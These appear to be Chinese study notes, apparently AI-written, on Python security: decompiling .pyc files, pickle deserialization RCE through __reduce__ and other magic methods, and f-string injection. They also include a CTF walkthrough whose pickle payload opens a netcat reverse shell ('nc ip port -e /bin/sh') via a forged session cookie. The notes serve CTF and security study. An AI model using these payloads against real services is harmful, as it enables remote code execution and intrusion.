一、PYC 文件反编译
1. 什么是 pyc?
- .pyc 是 .py 编译后的字节码文件
- 类似 Java 的 .class,跨平台,源码被隐藏
- 代码修改后会重新生成新 pyc
2. 反编译工具
-
工具:uncompyle6
-
安装:
pip install uncompyle6 -
使用:
uncompyle6 -o . test.pyc-o . 表示输出到当前目录,还原出 .py 源码
3. 用途
- CTF 常见:给 pyc 让你反编译看逻辑拿 flag
- 实战少见,一般用于源码泄露场景
二、Python 反序列化(核心重点)
1. 序列化 / 反序列化含义
- 序列化:对象 → 字节流(方便存储/传输)
- 反序列化:字节流 → 对象(危险点:可控数据反序列化可RCE)
2. 常见库与函数
| 类型 | 序列化 | 反序列化 |
|---|---|---|
| pickle | dumps() / dump() | loads() / load() |
| json | dumps() / dump() | loads() / load() |
| yaml | dump() | load() |
| marshal | dump() | load() |
危险点:
- pickle、marshal、PyYAML(load) 可控输入 = 高危漏洞
- json 相对安全,一般不会直接RCE
3. Python 反序列化魔术方法(RCE 核心)
(1)__reduce__
反序列化时自动调用,最常用的RCE构造方法
import pickle
import os
class R:
def __reduce__(self):
return (os.system, ('calc',))
data = pickle.dumps(R())
pickle.loads(data) # 弹计算器
(2)__reduce_ex__
作用同 __reduce__,只是带协议版本参数
def __reduce_ex__(self, protocol):
return (os.system, ('calc',))
(3)__setstate__
反序列化时触发,需要对象有属性(__dict__不为空)
class R:
def __setstate__(self, state):
os.system('calc')
r = R()
r.a = 1 # 必须有属性
(4)__getstate__
序列化时触发,不是反序列化
def __getstate__(self):
os.system('calc')
4. 黑盒识别特征
- pickle 序列化后 base64 常以 gA 开头
- 出现在:Cookie、GET/POST 参数、session
三、CTF 案例:Pickle Store 思路
-
抓包发现 session 是 gA 开头 base64
-
解码反序列化看到:
{'money':500, 'history':[], 'anti_tamper_hmac':'...'} -
直接改 money 会失败:有防篡改校验(hmac)
-
改用反序列化 RCE:
class A: def __reduce__(self): return (eval, ("__import__('os').system('nc ip port -e /bin/sh')",)) -
生成 payload → base64 → 替换 session → 反弹 shell
四、Python 格式化字符串漏洞
1. 危险点:f-string 可执行表达式
Python3.6+ 支持 f-string,{} 内可直接跑代码:
f'{__import__("os").system("calc")}'
2. 常见危险格式化方式
- %s 格式化
- string.Template
- .format()
- f"{xxx}"(最强、最容易出RCE)
3. 漏洞场景
用户可控内容直接进 f-string,可导致:
- 读配置、读源码
- 执行系统命令 RCE
五、一句话核心总结
- pyc 用 uncompyle6 反编译看源码
- pickle反序列化 可控输入 = 直接RCE,重点找 reduce
- 黑盒看 gA 开头base64,大概率是pickle
- f-string 格式化可控 = 代码执行漏洞
- CTF/实战思路:找反序列化入口 → 构造payload → RCE/改数据
如果你要,我可以把这份笔记再压缩成一页速背版,方便你直接背诵复习。